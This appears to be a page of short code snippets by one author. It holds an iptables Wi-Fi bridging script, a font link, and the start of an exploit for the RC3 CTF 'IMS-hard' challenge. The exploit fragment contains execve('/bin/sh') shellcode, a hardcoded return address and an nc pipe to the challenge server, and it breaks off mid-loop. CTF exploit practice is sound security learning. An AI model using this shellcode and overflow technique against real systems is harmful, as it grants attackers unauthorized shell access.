Xeratec

#!/bin/bash
echo "----[ Astro Bridge-Wifi Setup ]-----"

echo "Enabling IPV4 Forwarding"
sudo sysctl -w net.ipv4.ip_forward=1

echo "Setup Bridge"
sudo iptables -A FORWARD --in-interface enp62s0u1 -j ACCEPT
sudo iptables -t nat -A POSTROUTING --out-interface wlp4s0 -j MASQUERADE

Xeratec

Font: https://github.com/antoniocarelli/conky/blob/master/Conky%20Icons%20by%20Carelli.ttf

Xeratec

#!/usr/bin/python
"""
# This is my exploit code for RC3 CTF Level: IMS-hard
# It was made after the completion of this event, but luckily the servers are 
# still online [26.11.16], so the code was tested on a "living" target.
# I know, my code is a bit overpowered but I had my fun while programming :)
#
# Additional Info:
#   After I got the overwriting process of the canary value working, I created 
#   a copy of the IMS-hard binary and patched the canary value check in the main 

Xeratec

#!/usr/bin/python
# Run with #> (python gen_stdin.py; cat) | nc ims.ctf.rc3.club 7777
import sys
import struct

shellcode = [0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x90909090,0x31c05068,0x2f2f7368,0x682f6269,0x6e89e350,0x89e25389,0xe1b00bcd,0x80909090,0xaaaaaaaa]
eip = 0x080d1fa0

for i in range(0,18,3):
	print "1"	# Create new Item